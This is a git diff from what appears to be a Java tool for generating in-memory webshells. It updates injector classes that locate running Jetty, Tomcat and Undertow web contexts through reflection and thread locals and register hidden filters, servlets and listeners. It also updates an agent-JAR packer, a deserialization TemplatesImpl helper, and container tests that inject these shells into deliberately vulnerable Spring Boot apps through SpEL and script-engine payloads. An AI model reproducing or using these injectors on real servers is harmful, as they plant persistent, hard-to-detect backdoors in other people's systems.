diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java index 64403621..c04fe6ed 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.deserialize; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.deserialize.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; @@ -23,7 +24,7 @@ public static TemplatesImpl createTemplatesImpl(byte[] bytes) { .subclass(Object.class).name("foo") .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6)) .make()) { - fooBytes = make.getBytes(); + fooBytes = ClassBytesShrink.shrink(make.getBytes(), true); } Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java index 2d085c95..c581fb9c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java @@ -58,16 +58,16 @@ private Manifest createManifest(String mainClass) { @SneakyThrows private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) { if (isAsm) { - addDependency(targetJar, Opcodes.class, true, relocatePrefix); + addDependency(targetJar, Opcodes.class, relocatePrefix); } else { - addDependency(targetJar, ByteBuddy.class, false, relocatePrefix); + addDependency(targetJar, ByteBuddy.class, relocatePrefix); } } @SneakyThrows private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, - String relocatePrefix, boolean isRelocateEnabled) { - String dependencyPackage = isRelocateEnabled ? + String relocatePrefix, boolean isAsm) { + String dependencyPackage = isAsm ? Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName(); // Add injector class @@ -75,16 +75,14 @@ private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateR generateResult.getInjectorClassName(), generateResult.getInjectorBytes(), dependencyPackage, - relocatePrefix, - isRelocateEnabled); + relocatePrefix); // Add shell class addClassEntry(targetJar, generateResult.getShellClassName(), generateResult.getShellBytes(), dependencyPackage, - relocatePrefix, - isRelocateEnabled); + relocatePrefix); // Add inner classes for (Map.Entry entry : generateResult.getInjectorInnerClassBytes().entrySet()) { @@ -92,24 +90,21 @@ private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateR entry.getKey(), entry.getValue(), dependencyPackage, - relocatePrefix, - isRelocateEnabled); + relocatePrefix); } } @SneakyThrows private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes, - String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) { + String dependencyPackage, String relocatePrefix) { targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class")); - byte[] processedBytes = isRelocateEnabled ? - ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) : - classBytes; + byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage); targetJar.write(processedBytes); targetJar.closeEntry(); } @SneakyThrows - public static void addDependency(JarOutputStream targetJar, Class baseClass, boolean relocate, String relocatePrefix) { + public static void addDependency(JarOutputStream targetJar, Class baseClass, String relocatePrefix) { String packageToMove = baseClass.getPackage().getName().replace('.', '/'); URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); String sourceUrlString = sourceUrl.toString(); @@ -133,13 +128,13 @@ public static void addDependency(JarOutputStream targetJar, Class baseClass, if (entryName.startsWith(packageToMove)) { InputStream entryStream = sourceJar.getInputStream(entry); byte[] bytes = IOUtils.toByteArray(entryStream); - if (relocate) { + if (entryName.endsWith(".class")) { targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName)); if (bytes.length > 0) { bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove); } } else { - targetJar.putNextEntry(new JarEntry(entryName)); + targetJar.putNextEntry(entry); } targetJar.write(bytes); targetJar.closeEntry(); diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 5f160502..c487689f 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -51,12 +51,15 @@ idea { } test { - dependsOn(":vul:vul-webapp:war", + dependsOn( + ":vul:vul-webapp:war", ":vul:vul-webapp-expression:war", ":vul:vul-webapp-deserialize:war", ":vul:vul-webapp-jakarta:war", ":vul:vul-springboot1:bootJar", ":vul:vul-springboot2:bootJar", + ":vul:vul-springboot2-jetty:bootJar", + ":vul:vul-springboot2-undertow:bootJar", ":vul:vul-springboot2:bootWar", ":vul:vul-springboot2-webflux:bootJar", ":vul:vul-springboot3:bootJar", diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 99abd212..da2569c0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -20,6 +20,8 @@ public class ContainerTool { public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath(); public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath(); public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath(); + public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath(); + public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath(); public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath(); public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath(); public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 04cb9726..e30de727 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -306,7 +306,7 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel } case ScriptEngine -> VulTool.postData(url + "/js", content); case EL -> VulTool.postData(url + "/el", content); - case SpEL -> VulTool.postData(url + "/spel", content); + case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content); case OGNL -> VulTool.postData(url + "/ognl", content); case MVEL -> VulTool.postData(url + "/mvel", content); case JXPath -> VulTool.postData(url + "/jxpath", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index b251cfad..d6e7c0e7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -42,6 +42,7 @@ public class Jboss423ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war") + .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000") .withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jbossPid, "/fetch_pid.sh") .withNetwork(network) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 167d52d8..b21b6c24 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -82,4 +82,25 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + + static Stream tomcatCasesProvider() { + Server server = Server.Tomcat; + List supportedShellTypes = List.of( + ShellType.FILTER, +// ShellType.LISTENER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java new file mode 100644 index 00000000..76118d3d --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java @@ -0,0 +1,105 @@ +package com.reajason.javaweb.integration.springmvc; + +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2JettyContainerTest { + public static final String imageName = "springboot2-jetty"; + + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2JettyDockerfile)) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + static Stream casesProvider() { + Server server = Server.SpringWebMvc; + List supportedShellTypes = List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + static Stream jettyCasesProvider() { + Server server = Server.Jetty; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, +// ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("jettyCasesProvider") + void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java new file mode 100644 index 00000000..55303847 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java @@ -0,0 +1,105 @@ +package com.reajason.javaweb.integration.springmvc; + +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2UndertowContainerTest { + public static final String imageName = "springboot2-undertow"; + + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2UndertowDockerfile)) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + static Stream casesProvider() { + Server server = Server.SpringWebMvc; + List supportedShellTypes = List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + static Stream jettyCasesProvider() { + Server server = Server.Undertow; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, +// ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("jettyCasesProvider") + void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index 9ad0dd87..8677c7ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -44,6 +44,8 @@ public class SpringBoot2WarContainerTest { .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") .withNetwork(network) .withNetworkAliases("app") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -52,6 +54,8 @@ static Stream casesProvider() { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER +// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查 +// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -68,4 +72,25 @@ static void tearDown() { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); } + + static Stream tomcatCasesProvider() { + Server server = Server.Tomcat; + List supportedShellTypes = List.of( + ShellType.FILTER, +// ShellType.LISTENER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.AGENT_FILTER_CHAIN_ASM, + ShellType.CATALINA_AGENT_CONTEXT_VALVE, + ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java index 477b1070..22c25c47 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java @@ -36,7 +36,7 @@ public static byte[] relocateClass(byte[] classBytes, String relocateClassPackag } String oldClassName = relocateClassPackage.replace('.', '/'); String newClassName = relocatePrefix.replace('.', '/'); - ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS); ClassRemapper adapter = new ClassRemapper(writer, new Remapper() { @Override public String map(String typeName) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index eaf1b636..b93e8bad 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -106,29 +106,26 @@ private void moveFilterToFirst(Object servletHandler) throws Exception { } } - private List getContext() { + private List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); for (Thread thread : threads) { try { + // jetty 6 Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { - Object context = getFieldValue(contextClassLoader, "_context"); - Object handler = getFieldValue(context, "_servletHandler"); - contexts.add(getFieldValue(handler, "_contextHandler")); + contexts.add(getFieldValue(contextClassLoader, "_context")); } else { - Object threadLocals = getFieldValue(thread, "threadLocals"); - Object table = getFieldValue(threadLocals, "table"); - for (int i = 0; i < Array.getLength(table); ++i) { + // jetty 7+ + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFieldValue(entry, "value"); - if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { - Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); - Object request = invokeMethod(httpChannel, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - contexts.add(getFieldValue(servletContext, "this$0")); + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("WebAppContext")) { + contexts.add(getFieldValue(threadLocalValue, "this$0")); + } } } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 1187b95f..62994952 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -43,29 +43,26 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } - private List getContext() { + private List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); for (Thread thread : threads) { try { + // jetty 6 Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { - Object context = getFieldValue(contextClassLoader, "_context"); - Object handler = getFieldValue(context, "_servletHandler"); - contexts.add(getFieldValue(handler, "_contextHandler")); + contexts.add(getFieldValue(contextClassLoader, "_context")); } else { - Object threadLocals = getFieldValue(thread, "threadLocals"); - Object table = getFieldValue(threadLocals, "table"); - for (int i = 0; i < Array.getLength(table); ++i) { + // jetty 7+ + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFieldValue(entry, "value"); - if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { - Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); - Object request = invokeMethod(httpChannel, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - contexts.add(getFieldValue(servletContext, "this$0")); + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("WebAppContext")) { + contexts.add(getFieldValue(threadLocalValue, "this$0")); + } } } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index fb659685..1f59ac9a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -51,29 +51,26 @@ public Class getServletClass(ClassLoader classLoader) throws ClassNotFoundExc } } - private List getContext() { + private List getContext() throws Exception { List contexts = new ArrayList(); - Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); for (Thread thread : threads) { try { + // jetty 6 Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { - Object context = getFieldValue(contextClassLoader, "_context"); - Object handler = getFieldValue(context, "_servletHandler"); - contexts.add(getFieldValue(handler, "_contextHandler")); + contexts.add(getFieldValue(contextClassLoader, "_context")); } else { - Object threadLocals = getFieldValue(thread, "threadLocals"); - Object table = getFieldValue(threadLocals, "table"); - for (int i = 0; i < Array.getLength(table); ++i) { + // jetty 7+ + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFieldValue(entry, "value"); - if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { - Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); - Object request = invokeMethod(httpChannel, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - contexts.add(getFieldValue(servletContext, "this$0")); + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("WebAppContext")) { + contexts.add(getFieldValue(threadLocalValue, "this$0")); + } } } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 0f5ea06b..180df32d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -98,8 +98,8 @@ public void inject(Object context, Object filter) throws Exception { Object filterMap; try { // tomcat v8/9 - filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance(); } catch (Exception e2) { // tomcat v6/7 try { @@ -119,7 +119,7 @@ public void inject(Object context, Object filter) throws Exception { Constructor[] constructors; try { invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors(); } catch (Exception e) { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 7d3734d7..786d99c4 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -5,7 +5,6 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.HashMap; @@ -47,12 +46,13 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + public List getContext() { List contexts = new ArrayList(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); for (Thread thread : threads) { try { - Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null); + Class clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"); + Object requestContext = invokeMethod(clazz, "current", null, null); Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null); if (servletContext != null) { contexts.add(servletContext); @@ -84,7 +84,7 @@ public void inject(Object context, Object filter) throws Exception { if (isInjected(context)) { return; } - Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo", true, context.getClass().getClassLoader()); Object deploymentInfo = getFieldValue(context, 